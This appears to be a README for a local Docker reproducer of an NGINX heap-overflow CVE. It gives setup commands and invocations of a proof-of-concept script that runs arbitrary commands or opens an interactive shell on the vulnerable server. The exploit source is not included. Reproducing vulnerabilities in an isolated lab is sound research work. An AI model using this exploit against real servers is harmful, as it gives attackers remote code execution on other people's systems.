Local Docker reproducer for CVE-2026-42945, an NGINX rewrite/set script-engine heap overflow.
Added pinned versions for the Ubuntu base image, package snapshot/package versions, and NGINX source revision to keep reproduction stable across rebuilds.
./setup.sh
docker compose -f env/docker-compose.yml upThe lab exposes vulnerable NGINX on 127.0.0.1:19321.
The Dockerfile pins the Ubuntu base image digest, Ubuntu package snapshot, package versions, and NGINX git revision used for this repro.
In another terminal:
python3 poc.py --cmd 'echo hello from nginx-rift > /tmp/pwned'
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwnedFor an interactive shell:
python3 poc.py --shell